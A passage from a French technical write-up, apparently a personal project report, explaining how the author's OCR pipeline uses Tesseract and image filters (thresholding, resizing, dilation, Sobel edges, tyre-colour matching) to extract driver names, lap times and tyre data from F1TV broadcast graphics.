armoire ou une bibliot\u00e8que. Si c'est une zone qui contient d'autres zones c'est une bibliot\u00e8que et chacune de ces sous-zones sont des armoires. Leur unique but est de contenir de mani\u00e8re ordonn\u00e9e des objets qui eux contiennent de l'information. Les livres ici sont les Windows. Ils contiennet de l'information et sont stock\u00e9s dans des armoires et on y acc\u00e8de en allant dans la bonne bibliot\u00e8que et en allant dans la bonne armoire. Derni\u00e8res choses pour comprendre le diagramme: Il existe une Main Zone qui est une des 4 grandes zones dont je parlais dans la d\u00e9composition de l'image. Il existe aussi des \"Driver Zone\" qui sont de plus petites zones contenues dans la Main Zone qui et qui ne contiennent que les informations d'un pilote. L'objet Window n'est quasi jamais utilis\u00e9, c'est presque tout le temps des enfants de Window plus sp\u00e9cifiques qui sont utilis\u00e9s, le but est que chaque type d'information sur l'image aie son type de window. Voila donc un petit diagramme qui montre le d\u00e9coupage du programme : \"Diagramme explicatif de l'architecture des zones\" Pour visualiser encore un peu mieux comment ce d\u00e9coupage prend forme voici ce que chaque zone et Window contient. Main Zone : \"Exemple zone principale\" Driver Zone : \"Exemple zone de pilote\" Driver Position Window : \"Exemple de fen\u00eatre de position\" Driver name Window : \"Exemple de fen\u00eatre de nom\" Driver LapTime Window : \"Exemple de fen\u00eatre de temps au tour\" Driver Tyre Window : \"Exemple de fen\u00eatre pneus\" Il existe d'autres types de Window mais ce sont les principaux. On se rend assez facilement compte que chacunes de ces windows va avoir besoin d'un traitement sp\u00e9cifique car la mani\u00e8re de reconnaitre le pneu utilis\u00e9 et le temps au tour ne peut pas \u00eatre la m\u00eame. Pour r\u00e9sumer, on a un programme qui prend en entr\u00e9e un fichier de configuration, qui prend des images de la F1TV et les d\u00e9coupe dans des ZONES qui elles m\u00eame sont d\u00e9coup\u00e9es en WINDOWS pour qu'on puisse plus facilement les d\u00e9coder. Maintenant qu'on a une liste de diff\u00e9rent types de zones on peut commencer \u00e0 chercher ce qu'il y a marqu\u00e9 dessus. Pour cela il faut dabord comprendre un petit peu comment l'OCR fonctionne et comment des libraries comme Tesseract fonctionnent pour donner du texte en partant d'une image. Pour faire tr\u00e8s simple, nous avons un mod\u00e8le qui est entrain\u00e9. C'est \u00e0 dire que on donne \u00e0 un programme un tr\u00e8s grand nombre de mots ou de lettres en lui disant ce que contiennent chaques images. Ensuite le programme va cr\u00e9er des matrices de convolutions pour chaque lettre avec comme objectif de detecter les points communs entre les lettres pour cr\u00e9er un alpphabet. Par exemple la matric de la lettre 'H' donnerait un poids important \u00e0 des lignes verticales connect\u00e9es par une ligne centrale. Et si on fournis assez de donn\u00e9es de bonne qualit\u00e9 au mod\u00e8le, les matrices peuvent \u00eatre tr\u00e8s efficace \u00e0 detecter si une lettre est un H ou un M. Il y a pleins d'autres methodes comme l'utilisation d'un dictionnaire de mots de la langue pour permettre la reconnaissance de mots m\u00eame si une lettre au milieu n'est pas comprise ou en ajoutant d'autres informations sur le contexte mais ca ne nous int\u00e9resse pas ici. C'est important de comprendre comment cette reconnaissance de caract\u00e8res avec des matrices fonctionne car cela va nous aider \u00e0 pr\u00e9parer nos donn\u00e9es pour lui rendre la vie facile et augmenter la pr\u00e9cision de nos r\u00e9sultats. Filtres et traitement On peut essayer de donner toutes nos images directement \u00e0 Tesseract pour qu'il reconnaisse tout le texte qu'il y voit mais on risque de se retrouver avec des r\u00e9sultats au mieux inconsistents. Dans notre cas, le soucis est que les chiffres et lettres sont beaucoup trop petits. Ils ne font parfoisd que 10 pixels de haut et cela fait que il n'est pas forc\u00e9ment facile de toujours les diff\u00e9rencier. De plus, comme ils sont petits, les art\u00e9facts d'aliasing sont assez violents et peuvent grandement d\u00e9former une lettre ou un chiffre. Exemple : Prenons le chiffre 9. Dans l'image il peut \u00eatre repr\u00e9sent\u00e9 de cette mani\u00e8re : \"Exemple de chiffre avant post traitement\" On peut voir qu'il est flou, pour nous cela ne pose pas de probl\u00e8me et je pense que \u00e0 peu pr\u00e8s nimporte qui peut dire que c'est un 9. Cependant comme les contours sont flous et m\u00eame si on essaie de retirer le background : \"9 avec anti aliasing\" On voit que le 9 n'est pas clairement d\u00e9finit. En effet on pourrait le comprendre comme : \"Premier exemple de contours\" Ou comme : \"Second exemple de contours\" Voire m\u00eame simplement comme : \"Exemple de coutour g\u00e9n\u00e9reux\" Et on se rend bien compte que les performances de detection ne sont pas les m\u00eames dans ces trois cas. Il faut donc faire un certain post traitement des images pour supprimer les \u00e9l\u00e9ments parasites, les couleurs, et augmenter la visibilit\u00e9 des contours importants. Mais chaque type de donn\u00e9e va avoir des methodes de post traitement diff\u00e9rents. Donc voici les diff\u00e9rents types de reconnaissance et leur post traitements : Texte Alors ce type de reconnaissance est utilis\u00e9 par la WINDOW du nom de pilote et de la position du pilote. C'est je pense la plus simple de toutes car Tesseract est particuli\u00e8rement bien entrain\u00e9 pour. Cette reconnaissance concerne donc des lettres qui font des mots ou des noms. Voici un exemple de la WINDOW nom de pilote en entr\u00e9e : \"Exemple texte cru\" Ce texte peut paraitre bon, cependant quand on le lance dans Tesseract, il ne va pas toujours donner un r\u00e9sultat parfait. Il faut aussi savoir qu'il y a des noms pas mal plus p\u00e9nibles que Tesseract a plus de mal \u00e0 reconnaitres, soit \u00e0 cause des lettres utilis\u00e9es, soit car le nom est un nom d'une autre r\u00e9gion et qui ne veut rien dire en anglais ce qui emp\u00eache l'utilisation de dictionnaire (Ex : Tsunoda est un nom japonais et parfois il est difficile pour Tesseract de le reconnaitre car si une lettre pose probl\u00eame il ne peut pas trouver de contexte qui puisse l'aider). Donc pour le rendre plus facilement lisible et augmenter les chances que toutes les lettres soient d\u00e9couvertes, voici les \u00e9tapes que j'ai mis en place. 1 : J'inverse les couleurs. Je me suis rendu compte que il \u00e9tait souvent plus facile de trouver un noir sur blanc que blanc sur noir. Je ne suis pas sur que cette \u00e9tape soit capitale cependant. \"Texte invers\u00e9\" 2 : Je fais un Treshhold de 165 car avec moins le texte parfois prend trop du background et avec plus les lettres sont trop fines. \"Texte apr\u00e8s Treshold\" 3 : Je fais un Resize de l'image pour avoir une meilleure r\u00e9solution et permettre une meilleure d\u00e9tection. J'augmente la hauteur et la largeur par un facteur 2. J'ai trouv\u00e9 cette valeur suffisante et aller plus haut consomme beaucoup de ressources. \"Texte apr\u00e8s Resize\" 4: Je fais une tr\u00e8s rapide Dilatation du texte pour retirer le flou amen\u00e9 par la methode de Resize. Je n'utilise qu'une valeur de 1 car je ne veux pas trop changer comment le texte est model\u00e9 je veux juste retirer le flou. \"Texte apr\u00e8s Dilatation\" Explication des methodes pr\u00e9cises plus bas Voila pour ce qui est du post processing. Je ne dis pas que ce sont les meilleurs param\u00eatres possibles mais dans mes tests ce sont ceux qui ont le mieux march\u00e9s. C'est aussi les premi\u00e8res methodes que j'ai pu d\u00e9velopper alors forc\u00e9ment elles n'ont pas le niveau de d\u00e9tails de certaines autres. Mais comme m\u00eame avec ce traitement il n'est pas rare que je me retrouve avec une ou deux lettres pas justes, il faut un moyen d'\u00eatre s\u00fbr que c'est le bon nom qui est trouv\u00e9. Ce qu'il y a de pratique avec les noms de pilotes c'est que on sait d\u00e9ja comment ils s'appellent avant le Grand Prix. En effet dans le fichier de configuration de la reconnaissance, il y a une liste de noms de pilotes. Cela veut dire que au lieu de chercher \u00e0 trouver parfaitement les bonnes lettres, on peut simplement essayer de trouver quel nom de pilote ressemble le plus au nom trouv\u00e9 sur l'image. Pour ce faire j'ai utilis\u00e9 une methode appel\u00e9e la distance de Levenshtein. Pour faire simple c'est une methode qui va calculer les distances de lettres pour determiner entre des strings laquelle ressemble le plus \u00e0 une autre. Pour r\u00e9sumer le fonctionnement dans lordre : On prend l'image on la traite On envoie l'image trait\u00e9e \u00e0 Tesseract On trouve quel nom de pilote ressemble le plus \u00e0 ce r\u00e9sultat On renvoie le nom du pilote Chiffres Cette methode en r\u00e9alit\u00e9 utilise simplement la m\u00eame methode que celle qui va r\u00e9cup\u00e8rer le texte sur une image. Cependant, la, on envoie \u00e0 Tesseract l'information qu'il ne peut trouver que des chiffres sur l'image ce qui lui permet d'\u00eatre beaucoup plus pr\u00e9cis et de ne pas confondre un 9 avec un P ou un 11 avec un H PAR EXEMPLE (non pas que ca me soit arriv\u00e9 tr\u00e8s r\u00e9guli\u00e8rement et que ca me soit rest\u00e9 dans la gorge \u00e9videmment) L'avantage c'est que cette methode ne demande m\u00eame pas de traitement de la donn\u00e9e en sortie de Tesseract. On \u00e9sp\u00e8re simplement que le post traitement aura suffit. TEMPS : Cette methode regroupe la d\u00e9tection de temps au tour. Il y a trois grands types de WINDOW qui sont concern\u00e9es : La WINDOW du temps au tour La WINDOW du retard sur le leader La WINDOW des secteurs La grande diff\u00e9rence ce sont les ordres de grandeur. Les temps au tour sont en g\u00e9n\u00e9ral entre 50 secondes et 2 minutes. Tandis que les secteurs sont entre 20 et 30 secondes alors que le retard sur le leader peut-\u00eatre de plusieurs minutes. Cependant, tous ces temps poss\u00e8dent le m\u00eame type de post-traitement avant d'\u00eatre envoy\u00e9s \u00e0 Tesseract. Voici un exemple de temps au tour avant toute transformation : \"Temps au tour avant traitement\" On peut avoir l'impression que ce texte est tout \u00e0 fait lisible et facile \u00e0 d\u00e9coder surtout quand on le voit de loin comme ca. Cependant, il faut imaginer que ces chiffres font 13 pixels de haut en comptant le flou et comme expliqu\u00e9 plus haut ce flou dans ces echelles est terrible. \"Temps au tour zoom\u00e9\" Si on donne cette image \u00e0 Tesseract, les '3' deviennent des '9', des '9' deviennent des '8', des '2' deviennent eux aussi des '9', le tout parfois inversement et de mani\u00e8re compl\u00eatement impr\u00e9visible. Ca n'est simplement pas utilisable. Cette partie est un peu plus complexe car si la detection n'est pas fiable les chiffres sont simplement inutilisables. Si \u00e0 tout moment un temps au tour de 1:39.106 devient 1:32.108 c'est juste pas possible. Voici donc les \u00e9tapes de post-traitement que j'ai mis en place pour leur d\u00e9tection : 1: J'applique un Treshold de 185 pour enlever les ambiguit\u00e9s d'alisaising et avoir une image en noir et blanc claire. La valeur de 185 est assez \u00e9lev\u00e9e car le but est de vraiment garder uniquement les contours. Comme les chiffres se ressemlent beaucoup plu que les lettres, il faut tenter le plus possible de conserver leur formes sp\u00e9cifiques. Je me suis rendu compte que cette valeur \u00e9tait une de celles qui marchent le mieux. \"Temps au tour apr\u00e8s Treshold\" 2: J'applique un Resize de 2 pour augmenter la r\u00e9solution des chiffres et permettre une meilleure d\u00e9tection. Le but est d'avoir plus de pixels et donc de permettre \u00e0 Tesseract de mieux utiliser ses matrices de convolution. \"Temps au tour apr\u00e8s Resize\" 3: Comme le Resize am\u00e8ne du flou, j'utilise une methode de Dilatation qui me permet de retirer ce flou et de remplir un peu plus certaines parties qui ont \u00e9t\u00e9 un peu laiss\u00e9e par le Resize ; \"Temps au tour apr\u00e8s Dilatation\" 4: Contrairement aux mots plus haut, la rondeur ajout\u00e9e par la dilatation n'est pas vraiment d\u00e9sir\u00e9e. En effet, elle peut rendre confuse certains chiffres et emp\u00eacher Tesseract de bien trouver le chiffre. Alors j'applique une Erosion qui me permet de contrecarrer en partie les rondeurs ajout\u00e9es par la dilatation et retrouver des chiffres bien form\u00e9es. Pour l' Erosion et la Dilatation j'ai utilis\u00e9 une valeur de 1 car je ne voulais pas trop changer les chiffres. \"Temps au tour apr\u00e8s Erosion\" Explication des methodes pr\u00e9cises plus bas Et avec ce post processing on retrouve de plut\u00f4ts bon r\u00e9sultats qui demandent peu de traitement. Le traitement d\u00e9pend du type de WINDOW cependant. Pour les secteurs on indique \u00e0 Tesseract que les caract\u00e8res autoris\u00e9s sont : \"0123456789.\" Pour les temps au tour on autorise plut\u00f4t \"0123456789.:\" Et pour les \u00e9carts on autorise \"0123456789.+\" Ensuite on r\u00e9cup\u00e8re une liste de chiffres qui'il va falloir transformer en milisecondes pour faciliter le stockage et l'envoi. Le programme nettoie un peu la chaine avant de la convertir. Par exemple parfois le ':' de 1:34.456 est compris comme un '1' ou un '2' et il faut faire attention \u00e0 detecter quand ca arriver. Je passe les d\u00e9tails du reste du nettoyage car c'est vraiment du cas par cas mais quand on a finit de nettoyer la chaine on peut transformer les chaines de minutes secondes et milisecondes en un total de milisecondes. Pour r\u00e9sumer le fonctionnement dans l'ordre : On prend l'image et on lui applique une s\u00e9rie de filtres On envoie l'image filtr\u00e9e \u00e0 Tesseract On nettoie le r\u00e9sultat Tesseract pour compenser certains biais On convertis le r\u00e9sultat en milisecondes les chiffres (2) Il faut savoir que avec la derni\u00e8re version de l'\u00e9mulateur (dont je vais parler un peu plus tard) Pneus La on arrive sur la partie la plus p\u00e9nible. Pour comprendre la probl\u00e9matique il faut d'abord faire un petit point sur comment les pneus fonctionnent en Formule 1. Depuis 2019 en Formule 1 nous avons 5 grandes familles de pneus : Les pneus tendres Les pneus medium Les pneus durs Les pneus interm\u00e9diaires Les pneus pluie \"Gamme de pneus Pirelli\" Les trois premiers pneus sont des pneus faits pour piste s\u00e8che, le pneu interm\u00e9diaire pour piste humide et le neu pluie pour la pluie. Chaque pneu a sa dur\u00e9e de vie et son niveau de performance propre mais je ne vais pas rentrer dans le d\u00e9tail ici. Tout ce qu'il faut savoir ce que savoir sur quel pneu chaque pilote est et depuis combien de temps il les chausse est une information tr\u00e8s importante. Chaque pneu a une couleur donn\u00e9e qui permet de les diff\u00e9rencier. Voici un exemple de ce \u00e0 quoi une WINDOW de pneus peut ressembler : \"Exemple zone pneus 1\" Mais cette zone peut aussi ressembler \u00e0 ca : \"Exemple zone pneus 2\" Mais aussi \u00e0 ca : \"Exemple zone pneus 3\" Voire m\u00eame ca : \"Exemple zone pneus 4\" Je pense que vous pouvez tout de suite comprendre la difficult\u00e9 que repr\u00e9sente la t\u00e2che de r\u00e9cup\u00e8ration de donn\u00e9es \u00e0 partir de cette image. En gros le fonctionnement de cette zone d'information est assez simple. Au fur et \u00e0 mesure que la course avance, le trait fait de m\u00eame. Le chiffre dans le round tout \u00e0 droite indique le nombre de tour que le pilote a pass\u00e9 sur ce pneu. La couleur indique le type de pneu. Si il y a une lettre \u00e0 la place d'un chiffre c'est que c'est le premier tour sur ce pneu. La lettre indique le type de pneu. Et pas besoin de dire que si on essaie simplement de donner l'image \u00e0 Tesseract on ne r\u00e9cup\u00e8re ni les chiffres ni les lettres correctement si ce n'est pas du tout. Il faut donc utiliser une methode qui permette d'isoler le rond le plus \u00e0 droite, lui appliquer un traitement qui permette \u00e0 Tesseract de lire ce qu'il y a marqu\u00e9 et qui puisse determiner quel pneu est en train d'\u00eatre utilis\u00e9. J'ai d\u00e9cid\u00e9 de m'occuper dans un premier temps de trouver ce rond avant d'appliquer les filtres car plus l'image est petite plus les filtres sont rapides. Le programme va tirer un trait depuis le bord droit de la zone, et il va avancer vers la gauche jusqu'\u00e0 trouver un obstacle. Je d\u00e9tecte un obstacle si le pixel sur lequel est mon trait poss\u00e8de une valeur de plus de 0x50 dans le channel R,G ou B. J'ai trouv\u00e9 en faisant des tests que les couleurs de background de la F1TV ne d\u00e9passaient jamais ces valeurs. Ensuite apr\u00e8s avoir trouv\u00e9 le premier obstacle, je r\u00e9cup\u00e8re une zone qui doit englober le cercle. Voici un exemple avec cette image en entr\u00e9e : \"Zone compl\u00eate\" Elle est automatiquement coup\u00e9e de cette facon : \"Zone coup\u00e9e automatiquement\" Cela me permet d'isoler uniquement ce qui m'int\u00e9resse ce qui est tr\u00e8s pratique pour Tesseract et pour la detection de couleur. Ensuite avec cette image je peux commencer le processus de reconnaissance. Je commence par faire une moyenne de tous les pixels de l'image en excluant les pixels trop sombres qui font s\u00fbrement partie du background ou du chiffre. Ensuite j'utilise une methode qui calcule la diff\u00e9rence entre la couleur obbtenue et la liste de couleurs possible. Il y a cinq couleurs des pneus possibles : \"#ff0000\" pneu tendre/soft \"Couleur d'un pneu tendre\" \"#f5bf00\" pneu medium \"Couleur d'un pneu medium\" \"#a4a5a8\" pneu dur/hard \"Couleur d'un pneu dur\" \"#00a42e\" pneu inter \"Couleur d'un pneu interm\u00e9diaire\" \"#2760a6\" pneu pluie/wet \"Couleur d'un pneu pluie\" Ce qui est pratique c'est que m\u00eame dans les cas ou il n'y a pas beaucoup de couleur comme celui la : \"Pneu dur avec 0 tours\" On arrive \u00e0 une couleur moyenne de : \"Couleur moyenne de l'image ci dessus apr\u00e8s soustraction du background\" Et il est donc assez facile de determiner le type de pneu en question. Attention, les r\u00e9sultats peuvent \u00eatre tr\u00e8s vite d\u00e9rang\u00e9s par la couleur du pneu pr\u00e9c\u00e9dent si le d\u00e9coupage de la fen\u00eatre n'a pas \u00e9t\u00e9 assez pr\u00e9cis. Ensuite il \"suffit\" de lire le chiffre dans le rond et si on arrive pas \u00e0 le lire alors c'est que c'est une lettre et on sait que le nombre de tours est donc de 0. Maintenant vient le moment tr\u00e8s sympatique de la lecture du chiffre. Vous saurez que Tesseract en plus de detester les grandes images et les images avec des couleurs, deteste \u00e9galement les formes dans une image. Donc dans notre cas, le round de couleur autour du chiffre, m\u00eame si il n'est pas complet, il interf\u00e8re avec la reconnaissance et emp\u00eache de bien lire le chiffre. Il faut donc retirer le background et ensuite la couleur. Sauf que comme le chiffre est de la couleur du background, si on retire le background et ensuite la couleur il ne reste plus rien. Il faut donc retirer le background AUTOUR du rond, et ensuite si on retire la couleur il devrait rester le chiffre sur fond blanc. Pour se faire, j'ai tir\u00e9 des traits depuis les bords de l'image jusqu'\u00e0 ce qu'ils rencontrent le rond. Ensuite je retire tous les pixels entre le rond et les bords de l'image ce qui nous donne ceci : \"Zone pneu avec le background en moins\" Ensuite on peu retirer les pixels qui ont une valeur dans un channel RGB plus haute qu'un certain seuil : \"Zone avec le reste des couleurs supprimm\u00e9es\" Et la on a ce que l'on veut ! A partir de la c'est les filtres que l'on connait qui sont utilis\u00e9s pour en faire une image plus facile \u00e0 utiliser par Tesseract. 1 : On effectue un Resize de facteur 4 (oui c'est beaucoup mais en m\u00eame temps le chiffre est vraiment petit \u00e0 la base) qui permet d'avoir une image d'une bien meilleure r\u00e9solution. \"Filtre 1\" 2: On fait une Dilatation de facteur 1 pour retirer tout le flou de l'image pour aider Tesseract \"Resultat\" Et on a un chiffre qui est utilisable par Tesseract ! Explication des methodes pr\u00e9cises plus bas Pour r\u00e9sumer : On prend l'image de la zone et on la crop pour ne garder que la partie essentielle On d\u00e9termine le type de pneu avec la couleur moyenne de la zone On retire le background autour de cette zone On retire la couleur qui reste pour ne garder que le chiffre On augmente la r\u00e9solution du chiffre On rend ce chiffre net On envoie l'image trait\u00e9e et filtr\u00e9e \u00e0 Tesseract On d\u00e9termine le nombre de tours que le pilote a fait avec ses pneus avec le r\u00e9sultat de Tesseract DRS Bon ca c'\u00e9tait plut\u00f4t simple j'ai simplement v\u00e9rifi\u00e9 si la moyenne de vert d\u00e9passait une certaine valeur et puis voila. Filtres et methodes sur les images Dans ce projet on a du utiliser diff\u00e9rentes methodes d'\u00e9dition d'image que ce soit sous forme de filtres ou de modification de l'image directement. Voici un sommaire des methodes utilis\u00e9es et comment elles fonctionnent. Tresholding Cette methode sert \u00e0 passer d'une image en couleurs \u00e0 une image binaire noir blanc. C'est une \u00e9tape tr\u00e8s importante pour l'OCR car elle permet (si bien faite) d'isoler du texte de son background. Un exemple ici : \"Exemple treshold\" Le fonctionnement est assez simple mais il peut \u00eatre fait de diff\u00e9rentes mani\u00e8res mais dans mon cas voici comment l'algorythme fonctionne sachant qu'il demande en entr\u00e9e la Bitmap que l'on veut modifier ainsi que la valeur de Treshold : On parcours chaque pixel de l'image On convertir la couleur du pixel en une valeur de gris pour avoir la m\u00eame valeur en R,G et B (Formule utilis\u00e9e : grey = R x 0.3 + G x 0.59 + B x 0.11) Si le r\u00e9sultat de la valeur de gris est au dessus de la valeur de treshold, le pixel est pass\u00e9 en blanc complet et dans le cas contraire il est pass\u00e9 en noir complet On retourne la Bitmap modifi\u00e9e Un algorythme pas forc\u00e9ment complexe mais qui peut augmenter de mani\u00e8re titanesque les chances de r\u00e9ussir une OCR Resize Cette methode sert \u00e0 augmenter la r\u00e9solution d'une image pour am\u00e9liorer la pr\u00e9cision de l'algorythme de Tesseract. En effet, avec trop peu de pixels, la matrice de convolution n'est pas toujours aussi efficace. Il ne faut pas confondre cette methode d'augmentation de la taille avec une simple interpolation. En effet une augmentation de taille interpol\u00e9e ne vas pas vraiment changer la r\u00e9solution, l'image sera toujours aussi pixelis\u00e9e, seulement, les pixels seront compos\u00e9es de plus de pixels comme dans l'exemple ci dessous : \"Exemple d'interpolation lin\u00e9aire\" Dans mon projet j'utilise de l'interpolation bicubique qui va cr\u00e9er de l'information pour tenter de combler le vide et produire une image r\u00e9ellement plus grande et avec plus de details mais en ajoutant du flou. \"Exemple des diff\u00e9rents types d'interpolation\" Le but est d'aller chercher dans les pixels alentours les couleurs qui sont d\u00e9ja pr\u00e9sente et de jouer avec des poids pour tenter de faire une pr\u00e9diction de ce que ce pixel aurait \u00e9t\u00e9 si l'image avait plus de detail. Voici un exemple assez parlant : \"Exemple interpolation bicubique (avant)\" \"Exemple interpolation bicubique (apr\u00e8s)\" On pourrait croire que c'est inutile mais dans le contexte de Tesseract ajouter des d\u00e9tails pour tenter de simuler une meilleure r\u00e9solution m\u00eame en cr\u00e9ant du flou est int\u00e9ressant pour mieux remplir la matrice de convolution. Mais il est possible de r\u00e9duire ce flou avec d'autres m\u00e9thodes \u00e9galement. (Dans mon code je n'ai pas utilis\u00e9 du code fait main mais j'utilise une librairie qui me permet de le faire) Il faut simplement faire attention car c'est un proc\u00e9d\u00e9 assez lourd en performances. Dilatation et Erosion Cette methode et la suivante font partie des methodes de transformation morphologiques. Ces methodes sont utilis\u00e9es pour accentuer les formes et les epaissir ou les r\u00e9duire et les affiner. Elles poss\u00e8dent l'aventage \u00e9galement de retirer le flou d'une image ce qui est tr\u00e8s pratique si utilis\u00e9 apr\u00e8s l'utilisation de methodes comme Resize . Je ne vais pas trop rentrer dans les d\u00e9tails de ces methodes car leur fonctionnement est un peu plus lourd en math si on veut faire une v\u00e9ritable explication du pourquoi et du comment ca marche aussi bien. Pour notre projet je dirais que l'important est de savoir que ce sont deux outils tr\u00e8s pratiques pour changer la morphologie des lettres et des chiffres et qu'on peut les utiliser pour corriger du flou et/ou des art\u00e9facts apparus lors de la binarisation de l'image ou de la suppression de fond. Remove Background Cette methode est assez simple et est juste une methode qui va passer en revue tous les pixels de l'image et si la couleur d'un pixel s'apparente \u00e0 celle d'un pixel de fond il est pass\u00e9 en noir total ou en blanc total. Le but est de permettre au reste du programme de fonctionner avec des couleurs moins ambigues. Une variante sp\u00e9cialis\u00e9e pour la reconnaissance des pneus appel\u00e9e affectueusement Remove Useless cherche \u00e0 atteindre le m\u00eame bu mais est bien plus soffistiqu\u00e9e et sp\u00e9cialis\u00e9e pour retirer le background autour d'un cercle de couleur pour ensuite retirer la couleur et qu'il ne reste qu'un chiffre. Pour plus de details voir la detection de pneus. Il y aussi d'autre methodes comme un filtre Gaussien ou Highlight countour que j'ai du d\u00e9velopper mais que je n'ai pas utilis\u00e9 donc je ne vais pas en parler ici. Petit point r\u00e9solution Comme on peut l'imaginer la r\u00e9solution est extr\u00eamement importante pour l'OCR. Et en avancant sur le projet de l'\u00e9mulateur je me suis rendu compte qu'il \u00e9tait possible de r\u00e9cup\u00e8rer des images en 4K (Plut\u00f4t 1080 avec l'upscaling du lecteur). Cela est une superbe nouvelle car cela permet de simplifier \u00e9norm\u00e9ment le processing sur les diff\u00e9rentes windows. Quelques exemples pour se faire une id\u00e9e \"Echantillon 720P\" ; \"Echantillon 1080P\" \"Echantillon 4K\" Mais il faut savoir que gr\u00e2ce \u00e0 cette simplification j'ai pu aussi cr\u00e9er d'autres methodes de filtrage pour certaines parties. Mais la simplification \u00e9tait obligatoire car avec des images aussi grande il n'\u00e9tait simplement pas possible de venir appliquer les m\u00eames filtres car le temps de traitement serait beaucoup plus long. J'indique ces changements que apr\u00e8s l'explication d'avant car ce sont des changements un peu de derni\u00e8re minute et que la logique expliqu\u00e9e plus haut a \u00e9t\u00e9 tr\u00e8s importante pour le projet OCR m\u00eame si tout n'est plus forc\u00e9ment utilis\u00e9 maintenant que j'ai des images de meilleure qualit\u00e9. Dans la version actuellement disponible la reconnaissance a \u00e9t\u00e9 simplifi\u00e9e sous cette forme : Le \"GapToLeader\" est d\u00e9cod\u00e9 avec un premier passage de Tresholding \u00e0 165 puis un Resize de 2 et une Dilatation de 1 pour retirer le flou Les \"Sectors\" sont d\u00e9cod\u00e9s en utilisant une toute nouvelle methode VanishOxyAction \u00e0 cause des couleurs parfois appliqu\u00e9es et ensuite simplement une methode de Tresholding de 150 pour rendre le r\u00e9sultat assez propre pour l'OCR. Le \"LapTime\" est dabord pass\u00e9 par un Tresholding tr\u00e8s strict de 185 pour pr\u00e9parer la SobelEdgeDetection qui est \u00e9galement une nouvelle methode qu'il a \u00e9t\u00e9 possible d'utiliser gr\u00e2ce \u00e0 la simplification du reste des processus. Le \"Text\" est d\u00e9cod\u00e9 simplement avec un tresholding de 165 maintenant gr\u00e2ce \u00e0 l'image 4K. Les pneus ont leur propre traitement comme expliqu\u00e9 plus haut auquel on ajoute la Dilatation de 1. Comme on peut le voir le traitement est pas mal plus simple mais cela ne veut pas dire que les autres methodes que je n'utilise plus ne sont pas utiles. La reconnaissance n'est pas encore parfaite et je pense que leur utilisation pourrait aider \u00e0 am\u00e9liorer les r\u00e9sultats. (Et parfois ces anciennes methodes sont utiles dans les traitements personnalis\u00e9s des windows elle m\u00eames comme par exemple les pneus qui utilisent la methode GrayScale pour isoler les couleurs) VanishOxyAction Cette methode est une methode plut\u00f4t simple mais qui est importante. Elle se base beaucoup sur le code de la methode Grayscale et sur la methode Tresholding car elle essaie de regrouper le meilleur des deux en r\u00e8glant quelques soucis que ces derni\u00e8res cr\u00e9\u00e9ent. Le soucis avec la methode grayscale c'est que quand le texte est de couleur (Ce qui arrive souvent pour les temps de secteurs) la methode GrayScale rend les couleurs dans une nuance de gris un peu trop sombre ce qui fait que ensuite la methode de Tresholding d\u00e9fonce tout. \"Exemple de secteur en couleur\" \"Exemple de secteur en grayscale\" L'id\u00e9e est alors de prendre pour chaque pixel et de garder uniquement la valeur de R,G ou B la plus haute et de mettre les deux autres canaux au m\u00eame niveau pour avoir une image blanchie qui puisse \u00eatre ensuite utilis\u00e9e avec la methode de Tresholding sans soucis. \"Exemple de secteur blanchi avec vanishoxyAction\" SobelEdgeDetection On pourrait se dire que avec ce genre de methode le tresholding est inutile ensuite mais ca n'est pas le cas car le tresholding sert ensuite pour rendre les contours plus ou moins aggressif. Car m\u00eame si l'image ressemble \u00e0 une image binaris\u00e9e, il reste des nuances que le treshold va pouvoir utiliser. SobelEdgeDetection Cette methode est une methode assez classique que je n'ai pas design\u00e9 moi m\u00eame alors je ne vais pas trop m'\u00e9pancher dessus. En gros on utilise une matrice et une formule math\u00e9matique pour redessiner une image et le r\u00e9sultat est une image avec des contours. Je ne l'ai utilis\u00e9 que pour les temps au tour car ce sont les plus r\u00e9calcitrants. Cette methode a besoin d'une image pass\u00e9e en noir et blanc au pr\u00e9alable \u00e0 laquelle on applique ensuite les matrrices de filtres. Et avec ces filtres ajout\u00e9s \u00e0 l'image on peut ensuite calculer le \"Gradient\" pour cr\u00e9er les bords. Le seul soucis de cette methode c'est qu'elle est assez gourmande et qu'elle fournit des formes creuses d\u00fb \u00e0 la nature des matrices donn\u00e9es. Voici un exemple de ce dont cette m\u00e9thode est capable : Artefacts de la detection de bords de Sobel Apparemment l'OCR aime assez bien cette methode et elle permet de beaucoup moins souvent oublier les '.' ou ':' Traitement des donn\u00e9es C'est bien gentil de recevoir des r\u00e9sultats de l'OCR, cependant on ne peut pas souvent les utiliser comme tels. En effet les resultats ne sont pas tr\u00e8s constants et demandent d'\u00eatre verifi\u00e9s pour savoir si ils doivent \u00eatre pris en compte. Le post traitement de ces donn\u00e9es d\u00e9pend compl\u00eatement du contexte et donc il est diff\u00e9rent pour chque type de window. Voici un floril\u00e8ge des diff\u00e9rents types de traitements : Traitement du nom de pilote Rien de plus que ce qui est d\u00e9ja d\u00e9taill\u00e9 dans la partie OCR Traitement des pneus Pareil Traitement des temps La par contre c'est int\u00e9ressant. Dans un monde parfait je pourrais simplement prendre les r\u00e9sultats de l'OCR et les traiter directement. Mais comme nous vivons dans un monde ou la souffrance et la douleur sont les seules choses autoris\u00e9es on ne peut pas. Le probl\u00e8me vient du fait que les temps que l'on peut trouver sur la F1TV sont encod\u00e9s avec des '.' et des ':' qui determinent les limites entre les chiffres qui d\u00e9signent les minutes, les secondes et les milisecondes. Et le soucis avec ces s\u00e9parateurs c'est qu'ils aiment bien mettre le chaos dans la reconnaissance. Quand ils ne sont pas compris comme des autres chiffres ils sont parfois simplement oubli\u00e9s ou pris en double c'est un enfer. Il faut donc trouver un moyen de detecter quand cela arrive. Et je n'ai pas trouv\u00e9 de meilleur moyen que de faire du cas par cas. Cela peut para\u00eetre simple quand on parle par exemple des secteurs. On sasit que on attend deux chiffres avant un '.' et trois chiffres apr\u00e8s. Il est donc facile de voir que si je trouve six chiffres et pas de s\u00e9paration le troisi\u00e8me est le s\u00e9parateur mal compris. Mais l'exemple qui d\u00e9truit vraiment tout c'est les \u00e9carts avec le leader. Autant un temps au tour c'est toujours x:xx.xxx et un temps de secteur c'est xx.xxx. Mais un \u00e9cart avec le leader ca peut \u00eatre 0.345 comme 1:12.345. Ce qui fait que quand je 121345 est-ce que c'est 12.345 ou 1:21.345...? Souvent on peut quand m\u00eame d\u00e9duire mais cela demande de pr\u00e9voir presque tous les cas limites ce qui est assez p\u00e9nible. On pourrait se dire qu'il suffit de voir si la valeur est trop en dehors des normes. Le soucis c'est que il n'est pas impossible que un temps au tour ou un \u00e9cart 